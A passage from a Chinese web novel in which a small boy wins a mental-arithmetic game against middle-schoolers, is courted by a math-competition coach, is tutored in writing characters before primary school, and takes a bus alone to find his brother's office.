这有一点奇怪,但他没有在意,被环绕的感觉比平常要更加温暖,很舒适,而且他不用给小朋友们派发零食,这是很好的。
为期一个月的手工课马上就要上完了,有的小朋友要回老家,不再来上课了,有的小朋友还要去其他兴趣班。
尺绫询问哥哥,以后是不是再也不用去兴趣班了,其他小朋友都管这叫暑假。哥哥说不是,他还给尺绫报了一个画画班,一样的时间,有二十节课。
尺绫点点头,好吧,他还挺喜欢去上兴趣班的。他和其他小朋友说了,小朋友们七嘴八舌,大孩子会留下来上钢琴课,其他三个小跟班有一个不来了,另外两个说要上象棋课和硬笔书法课。
尺绫不懂象棋,也不懂写字,但他知道自己要换教室上课了。老师将他划分到建筑的另外一边,与手工课的路线大相径庭。
“听说那边会有很多初中生。”小跟班一号说,他的消息总是最灵通的。
这群马上要上小学的小朋友,对初中的哥哥姐姐们简直是要仰起头来看,无论从身高还是年龄,都将他们狠狠碾压。
“初中生很坏吗?”尺绫不安地问。
“听说他们能随身携带手机,而且还能谈恋爱、打架。他们学的东西肯定也比我们难很多。”小跟班一号道听途说地转述。
尺绫有一点害怕,他揣着手,对过两天的新课程不抱希望,大孩子说不要怕,要是有其他大孩子欺负尺绫,可以上二楼叫他来帮忙。
三天后,新课程开始。
尺绫挎着自己的小马包,按照老师的指引,进了玻璃门往左手边走,进了一条全新的走廊,课室比他想的要大得多,样式也与之前完全不一样。
老师说这个叫画室,但是儿童画的小朋友不在这边上课,这边是给小学生和初中生练习素描和油画用的。尺绫他们是在隔壁的小厅里,那里有一张大桌子,墙上还有很多装饰品。
与暖黄色的画室相比较,这个儿童画专用课室看上去要敷衍得多,起码墙壁和桌子都是平淡的惨白色。
这似乎注定了儿童画没法与专业画相媲美,起码两种课的价格也不一样。
起初第一天,老师没让他们自我介绍,而是径直开启课程。尺绫看着全新的小朋友,一个也不认识,到休息时间,他只能去走廊找以前的小跟班们一起玩了。
小跟班们也不约而同地走出来,毕竟他们也没能很快交到朋友,比起要花心思交友,他们还是更喜欢现成的伙伴。
“你们班有多少个小朋友呀?”
“你们的男生多还是女生多呀?”
“你们的老师是男的还是女的呀?”
小朋友们互相问着这些问题。这些尺绫都没怎么注意,于是他只能回答不知道。
一群比他们要高出两个头的初中生路过,在这些学生面前,大孩子的身高都显得如此逊色。尺绫怔怔地望着,说不出话来。
他们穿着白色的毛衣马甲,边上镶嵌着他们学校校徽的条纹颜色,一件白色的短袖作为底衬,头抬得高高的,手里抱着他们看不懂的画画参考书,走路十分优雅。
尺绫看得快痴呆了。这是他们附近一所私立初中的学生。家庭热衷于培养他们的审美兴趣,每到有假期的时候,就会前来这边作美术的学习。
尺绫才刚用蜡笔画完小马驹,看见这些初中生走入画廊,坐在画架前挺直腰板,开始拿起炭笔描绘,那是如此优雅高级,尺绫甚至看不懂他们在画什么。
“好厉害。”一个小跟班感慨。
“不准说他们厉害。”大孩子反驳,增强己方士气,“我们以后也会变成那样的,我们会比他们更厉害。”
这里面只有尺绫在学画画,要做到一模一样的复刻,也只能寄托在尺绫身上了。大家看着尺绫,尺绫还在回味着初中生们的走姿,直到目光落到身上,才瞬间回过神来。
“尺绫你一定要比他们厉害啊。”
“尺绫你要好好学画画。”
“尺绫你以后也会去那间学校读书吗?”
尺绫不知道,他看看自己空荡荡的手,再比了比自己身高,他好像短时间内做不到。
硬要说的话,大尺绫确实要比他们高,但是大尺绫不学无术,不会画画,更不会出门上兴趣班。
他们投以羡慕的目光,接着便讨论起马上要上小学的事情。大孩子说他爸爸妈妈给他买了一个五百块钱的书包。小跟班二号直接说买了一个三万块钱的书包,是全球限量的。
尺绫还没买书包,哥哥说要送他去上小学,但这件事情貌似还遥遥无期。
“这里怎么有这么多小屁孩。”一个声音传来。
“不知道,我们的地盘被占了。”另一个声音回应。
小朋友们应声抬头,看到一个初中生正站在两米外,他身后还有两三个伙伴。他们头发清爽,高高瘦瘦的,叉着腰,十分符合小朋友们对能令人仰望的初中生的想象。
他们口中的地盘,就是尺绫他们聚集在一起聊天的地方,这里有长椅和绿植,以及充足的阳光,当属风水宝地。
小朋友们立马鸦雀无声,初中生们走过来,越靠近,身高的压倒愈发愈明显,压迫感强烈。
小朋友们有些紧张,情不自禁咽一口唾沫,初中生们懒洋洋地挥挥手:“去去,快走开,这里是我们要做的,别在这里玩。”
“但是这里是我们先来的。”有小跟班小声嘘嘘。
可是对方太有权威了,面对初中生,他们就像是面对大人一样恐惧。小朋友们只好起身,让出长椅的位置,走到一旁去。
初中生坐上去,翘起二郎腿,掏出手机准备开始打游戏。
游戏音效声破开空气,显得格外嘈杂。小朋友们你望望我,我望望你,坐在了另一边,也开始掏出游戏机。
大孩子把他的学习游戏机充满电了,今天他们要装饰虚拟家园,答题拿金币买家具。
题目很难,小跟班们围在游戏机边上,七嘴八舌挑着选项,挑不出来就让尺绫动用运气。然后大家又在买什么家具上出现了分歧,一个小跟班说买6000块的床,一个小朋友说买7000块的床。
初中生突然不耐烦地吼
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一声:“别吵啊。”
小朋友们立马静下来,他们茫然地望望初中生,对方目光紧紧盯着屏幕,两根大拇指扣着手机划动,传来很大声的特效声。
是在说他们吗?小朋友们面面相觑。
初中生没看他们,只看手机,估计不是在说他们,小朋友们继续咿咿呀呀地讨论。
十几秒后,初中生站起来,对着他们爆破一声:“我操,别吵了。”
这下小朋友们确定是在说他们了。他们的讨论戛然而止,望着发怒的初中生,定定地滞住了。
“你们这些小屁孩给我滚到其他地方去,别在这碍着我的眼睛。”初中生皱着眉头,对他们指手画脚,“吵吵吵,烦死了。”
刚刚那句夹杂脏话的怒吼,已经完全破灭了他们的形象。小朋友们几乎是第一次遇到陌生人被斥责这种事情,头脑都是懵懵的,不知道如何应对。
对面声音很大,语气还很凶,论起体重一个初中生等于两个尺绫。虽然人数多,但打架肯定是打不过他们的。
初中生甩脸色,手也跟着甩来甩去,转身回到长椅上,又骂了好几句脏话。
大孩子突然高声:“我们不走。”
刚刚准备坐下的初中生回头,哼出鼻息:“嗯?”
大孩子抓紧游戏机,伸长脖子,嗓门响亮:“本来就是我们先来的,我们就该在这里玩,你们的手机也吵得要死,还说我们。老师又没说不能说话。”
初中生似乎是没想到这群弱不禁风的幼儿园小屁孩之中,还有个领头的犟种,迷惑地啊哈了几声:
“你搞清楚点,我们老早就在这里了,比你早了两个星期。你多大啊,你老师叫什么名字?信不信我举报你。”
“举报是小屁孩才玩的东西。你是小屁孩。”大孩子骂回去,这一点他完美继承了爸爸的骨气。
初中生想威吓他们,举起拳头,殊不知大孩子平常就是举起拳头的那个,其他小跟班也鼓舞士气,丝毫不畏惧。
“你们年纪这么大,还要打我们这些小朋友,你们真坏!快走开!”
“你们这群小孩真的是有病吧,神经病。”初中生又连骂几句脏话,“恶人先告状。”
这块地盘的归属权如今不明,这群小孩子们不肯走开,初中生们更是丢面子,不愿退步。堂堂十几岁少年,竟然让十岁不到的小屁孩给倒骑一头了?
两方争吵了好几分钟,气氛嚣张跋扈,大孩子突然站出来挡住初中生。
“这样吧,我们来比赛打这个游戏。”他举起手中的游戏机,“谁的分高谁在这,这样最公平。”
初中生才不想理他们,嘲笑道:“你们玩的什么弱智小游戏。”
“你们玩的才是弱智小游戏,你们根本不敢玩。”大孩子愤怒喊。
虽然知道这是激将法,初中生们还是忍不住上钩,和小屁孩对骂就算了,现在还要让他们看低,不得不他们打得心服口服。
他们看一眼这个游戏机上的速算内容,都是些简单的加减乘除,才小学水平,简直是侮辱他们智商。
“你们可别哭。”他们在手机上下软件,划拉两下,必定碾压这群小屁孩。
小朋友们如临大敌,对方真的答应了,他们要开始比赛。他们面前的可是比他们年龄大整整一倍的初中生!
“哼,谁怕谁。”大孩子也反驳回去。他转身,对群体里透明的尺绫喊:“尺绫,你上。”
20.速算王
尺绫愣一下,被大孩子推上前一步,有些踉跄。
论起知识储备量,他们这群小屁孩肯定没办法与已经接受了九年义务教育的初中生比。唯一能拼的,只能是运气了。
尺绫的运气在小朋友里是远近闻名的,速算题他总是能蒙对答案。称得上是公认的气运之子。
虽然获胜希望渺茫,但总归是要有点骨气,不知道凭借尺绫的好运气,能不能战胜面前这个两个高大的初中生。
初中生扫视这个小屁孩一眼,哼一笑:“什么怪东西。”
尺绫虽然穿得端正,但瘦瘦小小,讷讷缩缩,中看不中用。再加上留着过耳长发,卷卷的,更像是女里女气的的胆小鬼。
初中生们抓住机会,嘴角带着嘲笑。尺绫抠着自己的手,有些无措,大孩子冲出来维护:“你们别狗眼看人低,等会你们就输了!”
“哈哈哈,我们能输?”初中生的软件下好了,刷着上面的题目,“就这点东西,你觉得我们能输?”
对方的自信与嘲讽大大打击了小朋友们,他们的气势骤然降了下来,毕竟他们连乘除法都不会,对面可是学到三角函数了。
运气,真的能战胜实力吗。他们自己也不太敢相信。
“怎么比,搞快点,别妨碍我打游戏。”初中生声音挑逗,嘲弄着这群小东西,他点开了现场PK的蓝牙模式,“是不是开房间啊?”
大孩子摆弄着游戏机,也开了现场PK的蓝牙模式,咬牙道:“你点速算。10分钟内谁先死了谁输,都没死就比谁分高。”
“难度呢?”初中生问。
“一级开始。”大孩子连上了对面的房间,“难度递进。”
对面似乎不太放心上,“得呗,让让你们,从最简单的开始。”
PK房间设置好了,按照老规矩,每边三条命,从最简单的加减法难度递增,与之前不同的是,难度递增无上限。
两方坐在一张桌子两边,初中生手靠在桌面上,小朋友们则集体围住尺绫,凑着脑袋。形成两方对决之势。
尺绫握着大孩子的游戏机,手有些发软,太多人围住他了,还面对着比他大很多的初中生,他不太习惯,有些坐不定心。
大孩子看出他的不自在,在他耳边小声道:“输了也没关系,你只要加油就好,我们相信你。”
这可是为了小团体的荣誉出战,代表着小朋友全体。赢了是风光战绩,输了也不丢份。
“怎么样,开始了吗?”初中生仰着头,用鼻孔看他们。
“谁怕谁啊!”小朋友们吼回去。
狠话放是放完了,虽然大家嘴上都给着鼓励,但多数小朋友心里都是怵怵的,大家对战胜对面始终没多少信心。
运气可以帮尺绫答对30道题,但要是坚持到60道题,100道题呢。他总不可能全对的吧。小朋友们看着尺绫,抿着嘴,紧张之中带上一阵儿不安。
PK的房间开始倒计时了,大家安静下来,聚精会神地盯着游戏机屏幕。初中生们则是不太当回事,拆一颗糖丢进嘴中,还笑了好几声。
尺绫紧紧握着游戏机,手心在出汗,所有人的希望都寄托在他身上了,他第一次有这种对决的紧张感。
【3、2、1、Ready Go!】
屏幕上开始同时弹出加减法题目。
3+1=
8-4=
6+3=
两方都做得很快,几乎是在二十秒内,就完成了个位数加减法。此时,速度不相上下,进度迅速转入两位数加减法。
屏幕光亮度太高了,尺绫感觉眼前有点花花的,看不清楚符号,他尽力睁大眼睛,做题速度慢了下来,结束的时候,初中生已经超过他们三道题30分的进度了。
初中生突然错一道题,屏幕上一颗心裂开,扣一条命。
“加油尺绫。”尺绫听到其他小朋友在背后欣喜,为他打气。
初中生咬着嘴唇,意识到这不仅仅是求快的比赛,还要求稳,但火急攻心,不论如何也不能在加减法栽跟头,没过多久,他们快速地到达乘除。
尺绫手指摁得有些酸了,艰难地顶着亮疼的眼睛,度过了两位数加减法。
小朋友们看见尺绫的速度,有一点点着急,催促着“别停下来,加油呀”,此时对方比他们领先5道题,大伙的心理防线快被对方遥遥领先50分给攻破了。
时间已过3分钟。
初中生看见乘法,笑笑,不知道对面的小屁孩还会不会。
小朋友们按捺不住了,这部分尺绫未必学过,有掌握的题目,他们要给尺绫出谋划策。求不了快速就要求稳,他们开始七嘴八舌:“要不这里先换个人吧,谁懂乘法的。”
尺绫不小心摁错了,扣一条命,屏幕上出现黑心破碎。
“嘘嘘!”
受小朋友们嘈杂的影响,尺绫明显速度下降了,小跟班一号发现了这个迹象,立马叫停,“安静,让他自己做。”
初中生不屑地笑笑,看对面:“怎么,还要一群人打我一个人吗?”
趁着这个空隙,尺绫终于进入状态,适应了屏幕光和嘈杂声,快马加鞭将差距缩小到两题。
“好厉害。”小朋友们看见追赶,不禁兴奋起来。
“靠,有点东西。”初中生看见不断紧追的分数,咬着牙,奋力口算,才突然想起对面是小学都没上的小屁孩,居然能一路做到乘法,速度还不慢。
一个小朋友认为尺绫不会,力争着要帮忙计算,但他们题目还没看完,尺绫就选择完了。速度没变过,命也没少过,大家突然安静下来,注意力全放在尺绫的手指上。
尺绫好像,比他们想的要厉害一些。他好像不是蒙的,他好像真的会做。
大家呆呆地愣住。
题目一冒出来,尺绫手指不动,看五秒,就立马摁选项,接着便冒出下一题。尺绫速度很快,有节奏得像机器人,而不是他们这种需要思考的小朋友。
有一部分小朋友背完九九乘法表了,只要靠记忆力就好。尺绫唰唰唰地摁,大家看出来他的九九乘法表一定背得非常扎实。
这边士气大涨,信心大增。尺绫是有点数学实力在身上的!
初中生口算到三位数加减法,就开始感到力不从心,明显题目上难度了,他们心里对下一部分并无底气。
“什么小孩啊。”他们心里暗骂,又偷偷地想,脑子快要烧了。
尺绫不受影响,他已进化到心无旁骛、专心致志的状态了。
三分钟,这个部分就结束了,转入两位数的乘除法。这个部分非常难,超出普通人的口算范围。初中生一看到这题目,忍不住骂了一声,他想找草稿纸。
另一边很安静,转入两位数乘法,大家更加聚精会神,连呼吸都没声音。
“12×24=”有小朋友已经开始猜答案了。
尺
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绫毫不犹豫选择了288。
“32×46=”光是看见乘法这个符号,大家就眼晕了,尺绫面色不变,手指一动轻选1472。
反超!整整反超了五道两位数乘法,尺绫都做对了!此时分数已经到达450,拉出对面50分,是他们从未接触过的高度!
大家惊呼,又立马捂住嘴巴,倒吸一口凉气。因为尺绫还在不断选着选项,速度非常快,几乎到达每两秒一题的速度。
初中生一边棘手异常,根本来不及算,看着对面上涨的分数,心里更加恐慌。“快,快找点草稿纸来。”
另一个初中生径直打开手机的计算器,开始手忙脚乱地输入起来。
可是,不知道是慌张的原因,还是对面实在太快了,连借助计算器外挂,初中生还没输入完,对面的分数又在往上涨了,极具压迫感。
反超70分、80分……100分。此刻还剩下3分钟。
难度到达三位数乘法。尺绫丝毫没有慢下来,还没等小朋友们反应过来,分数就又到达600了。
“123×32=”
“255×12=”
“5620÷20=”
“……”
后面的题目,小朋友几乎都没看见过。他们目瞪口呆。
尺绫目不转睛,目光扫过题目,手指不断摁着,转眼——分数突破八百!
初中生傻眼了,他们怎么追赶也追不上,手上的题目已经棘手到不用笔完全算不下去,然而眼前这个小不点,几乎题目一出就答对,好像压根经过没思考。
这是人类的做题速度吗,这是给人做的题吗。
560vs810
590vs900
640vs1030
……
尺绫没有放松过一秒钟,也没有注意分数。游戏机屏幕赫然弹出:
【恭喜你,已经在PK对决中胜利!获得炫彩称号:速算王;获得隐藏奖励:至尊鲨鱼套装】
十分钟到了。
总分数:690vs1100
剩余生命:一颗心vs两颗心
竞赛结束,尺绫放下游戏机,后知后觉发现手指很酸痛,蹙起眉头,撅起嘴自己揉了揉。
“比赛完了。”他小声说,“应该是我赢了吧。”
空气中一片寂静,没有回应。
不仅对手初中生怔怔地看着他,尺绫身后的小伙伴们合不上嘴巴,目光愣愣的,全部聚拢在他身上。
尺绫回头,不知道这是发生什么了,大家怎么都不说话。这块地盘归小朋友们了,大家不都应该很开心吗。
“……我、操。”初中生们的手机从手里滑落了,嘴唇间飘出一缕震惊的气息。
几乎接近翻倍的分数,初中生们不敢相信,他们居然被一个小孩,给碾压了。
太恐怖了,实在是太恐怖了,那些几位数相乘除的题目,他们笔算都要半分钟,这小不点居然在五秒内就选出答案了。
到底有什么速算技巧,他经历过什么培训,这不可能,他们是遇上神童了吗!?
一个戴眼镜的老师路过,看到这幅初中生与小朋友之间静止的场面,不由得注意起来,走近问:“这是怎么了?”
初中生看见数学辅导班的陈老师,好似看到了救命稻草,立马上前拉住,指着面对面的尺绫:
“陈老师,你快看他!他好恐怖!”
21.小神童
陈老师被叫停住,走过来,打量一下两边神色,紧接着,他拿起他们玩的速算游戏看一眼。
游戏机上清晰列明了战绩,见到赫然的【0分钟:1100分】,陈老师下意识倒吸凉气。这速度,都快超过他班里专业训练的孩子了。
他目光震惊地投到坐在选手位的尺绫身上,头发卷卷的,身子小小的,这么小一个孩子速算做得这么快,要是没经历过训练,数学天赋简直惊人。
他舔舔嘴唇,看向尺绫,竭力友善地露出一个微笑:
“小朋友,你对数学竞赛,有兴趣吗?”
尺绫摇摇头:“没有。”
数学陈老师愣住,他没想到对方拒绝得如此之快,而且不像是儿戏。他弯下腰来,与尺绫齐平,殷勤地劝道:
“小朋友,你叫什么名字,你家长放学会来接你吗,能不能让他和我聊一聊?”
这么好的天赋,不抓紧培养就是浪费了一个奥赛苗子,他要是能培养出一个省队选手,或者一个市级冠军,自己的名声就能打出去了。
尺绫面色为难,嗯嗯呀呀:“他们不来,我自己回家。”
陈老师还是不死心:“那你知道他电话吗,你现在在哪个班上课,我打给你家长聊聊。”
尺绫想起不要随便把联系方式给陌生人,面色更加为难,“额,额,我先打个电话给我哥哥吧。”
陈老师一直注目他,尺绫只好从小马包的底部,掏出自己的手机,勉为其难地拨打哥哥的电话,凑到耳边。
他看看陈老师,陈老师的眼镜下在发光,诚恳地凝视他。尺绫把目光转开,不太适应。
响了一声、两声、三声……通了。
“喂,哥哥,”尺绫小声地叫,“你在干嘛?噢噢你在睡觉呀,有一个老师说想和你聊天……”
陈老师径直伸手夺过手机,手掩住嘴巴,带着笑意。“喂,您好,请问是这个小同学的家长吗?啊是这样的,我是白翅膀艺术中心的陈老师,是教数学的。我今天看您家的小朋友很有……噢噢,好的,那就今天下午聊,好的好的,谢谢。”
陈老师把手机递回到尺绫手里,尺绫抬抬头,接回来。陈老师满意地离去了。
两个初中生抿抿嘴,尺绫支支吾吾说:“这个地方是我们了的吧。你们还要在这打游戏吗?”
初中生傻眼之中还要一点面子,震惊地看着眼前这小不点,转身消失不见。
尺绫回头,看见小伙伴们的表情,他们比比赛刚结束时要好一点,但貌似还没完全缓过来。面对石破天惊的尺绫,他们张合两下嘴巴,不知道该说什么。
“尺绫,你,你是真的会吗?那些数学题。”
他们伸长着脖子,开始七嘴八舌问起来,其中还掺杂着赞美和追捧。尺绫不知道该怎么答,一个小伙伴偷偷在他耳边说:“你是不是作弊了,你看得懂题目吗?”
尺绫看得懂题目,大孩子想把其他人打发安静,但小朋友们都不听他的了,他们的好奇心全在尺绫身上。
“尺绫你好厉害啊。”
“尺绫我们能不能考考你。”
那些题目连初中生都做不出来,更何况只有区区八岁的尺绫呢。小伙伴们眼睛发着光,开始问他:
“36,呃乘以21等于多少?”
“756。”尺绫答。
“那122,乘以99呢?”
“12078。”尺绫又答。
他几乎是不假思索,立马答上。小朋友们你看看我,我看看你,他们也不知道这个答案对不对,但尺绫不像是装的,于是欢呼:
“太棒了!”
“尺绫是小天才吧!”
“我们赢了!”
欢呼声阵阵,尺绫没什么感觉。他们又占据那张长椅,围在游戏机隔壁,一个个小脑袋凑着:“至尊鲨鱼套装诶,好帅啊。还能变颜色。”
学习天赋上的差距在这堆学龄前的小朋友们没有多大概念,他们只需要知道尺绫战胜了初中生就好了,正如他们以后勤加学习,也能打败其他人。
到下午,尺绫哒哒哒地背着小马包,穿过大厅跑出玻璃门。他有好多东西想要和哥哥说,突然一只手拦住他,尺绫抬头,是今天中午遇到的陈老师。
“小朋友,你家长来了吗?”陈老师笑眯眯地问。
尺绫这才想起来还有约见家长的事情,他停下着急回家的脚步,望向外面,哥哥的车到了。尺言打开车门,正往台阶上走来。
陈老师目光锁定在这个年轻俊朗的青年身上,他的打扮气质与小尺绫如出一辙,都属于家境优越,仪表堂堂的一类。
他立马笑着伸手:“您好,我是数学陈老师。”
尺言回握:“您好。”
“我先自我介绍一下。”陈老师没松开手,迫不及待想把自己推销出去,竭尽全力给对方留个好印象,“我是A师大毕业的,数学师范专业,之前在N市第二初级中学任职过,带过好几个中考数学状元。”
“厉害。”尺言点头附和。
尺绫抬头看两人紧握的手,觉得有点奇怪。
“把您叫到这边真的太麻烦您了,但是有件很重要的事,想与您商讨一下。”
陈老师开始切入主题,他扶扶眼镜,低眼看了一下尺绫,又抬头笑道:
“我今天发现您家孩子,很有数学天赋,是个搞奥数竞赛的好苗子,不知道您知道吗?之前有没有特意培训过呢?有没有报什么数学班呢?”
尺言简答:“没有。”
“那真的是天赋异禀,”陈老师惊叹,“不要浪费了,千古奇才。我这边可以免费给他上竞赛课,小班那种,然后带他去参加比赛拿奖。”
“这样吗。”尺言听懂了,他弯下腰来,手撑在膝盖上问尺绫,“你想不想去呀?”
尺绫摇摇头:“我不想。”
尺言立马顺从,笑着拒道:“不好意思呀……”
还没等话说完,陈老师立马焦急打断,“等会,先等会,家长你先听我说完。”
他再次扶眼镜,这次动作里堆满了焦急,仿佛尺绫真如一块璞玉要从他的手里溜走了。
“你知道吗,现在奥数的道路,对比于中考高考来说,竞争是很小的。”
“只要您把孩子交给我,我有信心把他带上竞赛正轨,这样一来重点初中高中都要抢人才。而且,可以直接保送名牌大学,这些您应该都知道的吧。”
尺言笑:“可是……”
老师堵住他的话,追问:“能方便问一下家长您的学历吗?”
按理来说是不方便的,但尺言不太介意:“本科,N传。”
老师:“那能再方便问一下您高考分数吗?”
尺言想这已经脱离今天的约谈范围了吧,还没等他回答,陈老师立马又说:“我实话实说,有几个我手底下亲手调教的学生,去的都是复大啊,交大啊这一层次的学校。”
“上一所高层次的好大学,接触的资源、视野,和普通的本科是完全不一样的。这个小朋友就
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有这方面的潜力,说真的,我觉得他还能上少年班。”
尺言点头:“了解。”
陈老师还想说些什么,尺言直接婉拒,应道,“我回去好好考虑考虑。”
“对对,好好考虑,这是我的联系方式。”
尺言牵着尺绫的手,转身离开。
回到车上,尺言深吸一口气,绑上安全带,他被刚刚那轮口水轰炸炸得脑子有些发麻。尺绫在后排玩手指,很明显对什么竞赛完全没有兴趣。
也是。尺言想,报名那串身份证都过不了,还谈什么竞赛呢。
林梓罕见地没课,回到家中,她说期末已经考完了,学生都准备放假了。
尺言和她共同话题不少,聊了一阵儿天。尺绫闻到餐厅飘出香味,哒哒哒跑进去,管家给了他一小块五花肉尝尝味道。
尺言同林梓说了今天数学老师说的事,林梓也持观望态度,如果尺绫不想去的话,没必要多此一举。
少年班没必要上,那就是个画大饼的,就算要上,不如通过家里的途径更方便。毕竟尺绫有个现成的大学教授亲哥,省得绕一大圈跑去辛辛苦苦搞竞赛成绩。
尺绫嚼五花肉,甜甜的,咸咸的,手弄得油油的。
变小后的他明显对吃肉感兴趣起来了,不像以前那么抗拒,管家趁机给他多喂点,尺绫也来者不拒。
上了饭桌,隔了挺长时间没这么人齐,林梓延续刚刚的聊天,把话题搬到饭桌上来说。
“放暑假了,小学也快要报名了。”她夹一片菜叶子,“看看尺绫去不去,去的话我就申请了。”
尺绫用勺子吃饭,听到自己名字,抬起头。
自己也要去上小学了吗。大孩子小跟班他们要去上小学,还买了文具盒和小书包,尺绫也想和其他小朋友一样。
尺言的手机响一下,亮了,他翻开,看到今天缠上来的陈老师还在孜孜不倦发送着竞赛信息,其中最新一个链接是:
【N市碧才小学招收重点实验班,主收数学、外语特长生】
数学陈老师:家长您好,您可以看一下这边的重点小学也招收竞赛人才,只要把孩子交给我,我有信心能让他考进去。
还真是孜孜不倦。尺言点开链接,仔细看了看。他记得N市小学中,实验小学是公立第一,碧才则是私立第一。
他让林梓看一眼,林梓点点头,“这可以啊,不过要考进去。”
“重点班还是算了吧。”林梓继续道,“这学校挺好的,私立也合适,读个普通班就行了吧。”
毕竟尺绫身份特殊,年龄特殊,上个重点班,属实太张扬了。更何况,他又不是真要读书学习,占了其他学生的位置更是不好,
尺言点进碧才小学普通班的招录公告,学费3万一学期,非直属幼儿园升上去还要去考试,综合分前100名有学费减免。
尺言吃完饭,在沙发上研究了一下学校的环境师资、交通出行,还有娱乐活动,基本选定了就是这间学校,决定给尺绫报个名。
尺绫扒着手机,看自己准备要去上的小学,有些兴奋:“哥哥,小学有什么玩呀?”
尺言开始玩手机,手指点来点去:“我也没读过,我也不知道呀。”
尺绫拿起自己的手机,他像哥哥一样点开聊天软件,迫不及待地向小朋友们发送语音消息:“我要去上碧才小学了。”
但是有一个很严峻的问题。尺言突然想起来,从沙发上坐起。
他这个弟弟,不会写方块字。
22.补习课
这两天哥哥一直在给尺绫补习方块字。
尺绫学得好痛苦,痛苦得快要死掉。如果上小学的代价是要学方块字,尺绫宁愿上幼儿园。
哥哥揪住他的后颈,把他从沙发缝里揪出来,尺绫像一条脱水的鱼挣扎,可惜无功而返。
“我不要。”
“我不想上小学了。”
“你还不一定有得上,”哥哥把他拎回田字格本前,“考得上才算有。”
尺绫没办法,只得乖乖就范,拿起铅笔噘起嘴巴,趴在本子上歪着头写。语文的考纲是拼音和三百六十常用词,还有一些简单的成语。
尺绫只会看不会写,真考起试来,一份简单的试卷能对他来说等于难于登天。
哥哥手把手教他,指着拼音上教他拼读,尺绫无精打采跟朗,没多久就困了。
尺言威胁:“你再学不下去,我就给你报补习班了。”
尺绫不以为然,哥哥一定不会强迫他的,直到第二天,哥哥告知他,他多了一门语文课,为期五天,尺绫才顿时发现哥哥残酷的真面目。
他的哥哥一定是让坏人换了个灵魂,只有一个壳还幸存着。尺绫呜呜呜地伤心一早上,希冀唤醒哥哥的良知,可现在轮到哥哥不以为然了。
他上儿童画课上得郁郁寡欢,满脑子都是接下来的方块字课。最可恶的是,哥哥还善解人意地给他买一本小字典,让他随身背下来。
刚下课,其他小朋友来找他玩,他背起小马包赶过去下一节课:“我没有空了,我要去上方块字课,我哥哥强迫我去上的。”
其他小朋友张大嘴巴,呈现一个O型,他们还以为尺绫的哥哥会很开明,和他们的爸妈不一样呢。
尺绫噔噔噔上楼,到达方块字课班,这里的装修和楼下的兴趣班完全不一样,有种视死而归的惨白。
新老师是个年轻的女孩子,声音很甜美,但讲的课却很无聊。他们第一节课学了声母和部分韵母,还有二十多个字,老师说回家要抄写三遍,尺绫当作没听见,并不打算告诉哥哥。
他噔噔噔下楼,这时候已经没时间玩耍了,到达吃饭时间。尺绫悲怆地吃着鸡蛋羹,伤感已经逝去的兴趣班的美好时光。
哥哥已经不再是他所喜爱的哥哥了,起码这五天里不是。尺绫无聊翻页字典,看上面飘来飘去的一笔一划,乱糟糟的,简直无法入眼。
他越想越生气,越想越生气。哼,凭什么一定要学方块字。尺绫想立马就离家出走,给哥哥一点颜色瞧瞧。
这是从小跟班一号的口中学来的,他说这能让大人回心转意,对自己万事顺从。尺绫立马转身翻自己的小马包,查看里面的钱,一共有352块。他不甘心,再翻了好几次,老师来拍他的肩膀,斥令道:“这位同学,要睡觉了,别吵着其他小朋友。”
尺绫才停住手,脸色红红,趴回桌子上。
他感觉自己的离家出走计划,是不可能实现的了。哥哥很厉害,估计尺绫还没搭乘两趟公交,哥哥就会来把他揪回家。
他想起自己读过的书,里面教他不利的时候要投奔其他势力,庇护自己安全。尺绫脑海里搜寻了很多人,唯一一个能和哥哥旗鼓相当的——
尺绫假装一切事情都没有发生,照常睡觉,照常中午做梦吃点心,照常起床。他背着小马包,走过马路,到达公交车站。
他上车了。
车顺畅地往前开,街道还是一样的安逸。只是,一路上的风景和平常的有些不同。
-
尺平刚审视完递交上来的项目,做了批语和约见。他看一眼时间,今天大概率不能提前回家。
他叫来自己的助理,让她把手头修改好的格式条款直接寄给对方。
最近是旺季,业务部热火朝天,公司还有往其他领域拓展的意向,工作量几乎翻倍。他扶扶眼镜,开启下一个工作环节,助理帮他倒上热茶,电话突然响起。
接听完后,助理拿起合同,对老板说:“老板,林总十五分钟后到,您要亲自下去接待吗?”
尺平翻着文件,没有抬头:“好,我等会下去。”
大厅。
一辆公交车从门前驶过,空气中逐渐闷热,摇曳的绿叶和热浪变成一个个圆点交错。不远处的公交站出现一个小人。
尺绫拿出白纸条看方向,是要往前走100米。他抬头望,看到一栋熟悉的建筑。
他背着小马包哒哒哒跑起来,到达大楼门口的时候,却望而却步。他躲在柱子旁边,向玻璃门内看。
一个细心的保安注意到这个小孩,松开背手,走过来。尺绫抬头后退了两步,保安伸手牵住他,半蹲下来询问:“小朋友,你有什么事吗?”
尺绫内敛,小声说:“我来找人。”
“你找谁啊?”保安见他没答,把他带到大厅,让前台负责联系。
接待的小姐姐隔着柜台,半起身看小不点的尺绫,语气也温柔起来:“小朋友,你有什么事情吗?”保安解释他要找人,尺绫跟着出声:“嗯。”
前台小姐姐问他,想找的人叫什么名字,是什么部门的?这些尺绫全都不知道,他摇摇头,前台怔了怔,那这要怎么找。
“你要找的人,是你的谁呀?”前台小姐姐还是很有耐心,细语温声地引导。
尺绫想了想:“是我的哥哥。”
“他在哪一层你知道吗?”前台小姐姐继续问。
尺绫用手往上比,举到头顶:“很高很高。”
“那他平时在公司做什么呢?”前台小姐姐试图判定是哪个部门的。
尺绫只来过一次,他手指放在嘴边,回忆着:“他什么都不干。”
又想起林老师骂眼镜哥哥的话,天天在公司闲的没事干不如帮忙扫扫地。眼镜哥哥很听林老师话,于是尺绫补上:“他可能是扫地的。”
前台小姐姐只能苦笑,再度尝试问名字。虽然问了两遍,但尺绫还是不会写,也不会读。她感觉尺绫非常内敛,甚至可能有点语言能力障碍。
在很高的楼层干活,可能是扫地的,之前能把小孩带进来。前台一思考,还真可能是清洁的员工,只可惜是小孩哥哥,年纪对不上,也不知道有没有来实习的,那可就太不好找了。
半晌,尺绫支支吾吾说,我只记得他的样子。
于是,前台给出一张纸,一支油性笔,尺绫开始绘画。
他拿起笔在纸上画了一个圆圆的头,尖尖的下巴,眼睛外面套两个圆,是一副眼镜。他想了一下,在头顶上加了几根弯弯的头发。
他踮着脚,把眼镜哥哥的肖像递给前台,前台拿到后,对着哭笑不得。这画很有童趣,但在辨认方面一无是处。
戴眼镜的人多了去了,凭借这唯一的特征,压根没办法判定,根据头发来看倒可能是公司的程序员,毕竟发量非常稀疏。
前台没办法了,正想再往前一弯腰
